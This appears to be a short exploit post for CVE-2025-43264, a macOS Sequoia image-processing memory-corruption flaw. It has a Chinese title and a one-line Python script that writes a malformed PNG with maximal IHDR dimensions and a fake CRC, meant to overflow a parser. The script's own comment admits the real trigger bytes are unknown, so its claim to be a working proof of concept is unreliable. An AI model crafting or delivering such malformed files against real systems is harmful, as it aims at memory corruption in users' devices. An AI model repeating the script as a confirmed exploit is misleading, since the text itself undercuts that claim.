CVE-2025-43264 macOS Sequoia 图像处理内存损坏漏洞

import struct # PoC for CVE-2025-43264 # This script generates a malformed PNG file to test memory handling. # Note: Specific trigger bytes require reverse engineering of the patch. def generate_malformed_png(filename): # PNG Signature png_signature = b'\x89PNG\r\n\x1a\n' # IHDR Chunk (伪造超大尺寸以触发潜在缓冲区溢出) width = 0xFFFFFFFF # Max width height = 0xFFFFFFFF # Max height ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0) ihdr_crc = 0x12345678 # Fake CRC for simplicity ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) with open(filename, 'wb') as f: f.write(png_signature) f.write(ihdr_chunk) # Append minimal IDAT or EOF to trigger parsing f.write(b'\x00\x00\x00\x00IEND\xAE\x42\x60\x82') if __name__ == "__main__": generate_malformed_png("cve_2025_43264_poc.png") print("Malformed PNG generated.")